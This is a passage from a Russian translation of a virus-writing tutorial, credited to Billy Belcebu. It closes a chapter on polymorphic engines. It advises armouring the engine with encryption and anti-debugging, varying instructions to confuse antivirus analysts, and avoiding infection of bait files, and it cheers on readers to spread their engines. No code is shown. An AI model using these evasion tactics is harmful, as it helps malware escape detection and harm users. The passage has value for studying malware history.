(чертовски классный прием!), делать ни на что не влияющие перестановки в памяти, использовать то операнды размером в
слово, то размеров в байт, комбинировать их, заменять их...
То есть, вы должны узнать подробнее о еще более продвинутых техниках полиморфизма. Есть несколько интересных публикаций
по этому поводу, например от Methyl'а (aka Owl[FS]).
Заключительные слова о полиморфизме
Hо реальный мир жесток, AVеры попытаются найти все наши возможные декрипторы, дизассемблировав наш прекрасный медленный
полиморфный движок.
И тут, чтобы спасти наши задницы, в дело вступает броня. Мы должны максимальным образом защитить наш PER специальной
шифрующей процедурой (а декриптор должен быть очень хорошо защищен от отладки). Так как у них не будет достаточного
времени дизассемблировать движок, они не смогут увидеть все, что он может сделать :). У вас есть хороший выбор
антиотладочных техник в соответствующей главе. Поэтому AVеры сконцентрируются на наживках, а посему мы должны избежать
заражения этих бессмысленных файлов (об этом будет pассказано в главе "Антинаживка".
Я хочу увидеть ваши PER'ы, рулящие в этом мире! :)
(с) Billy Belcebu, пер. Aquila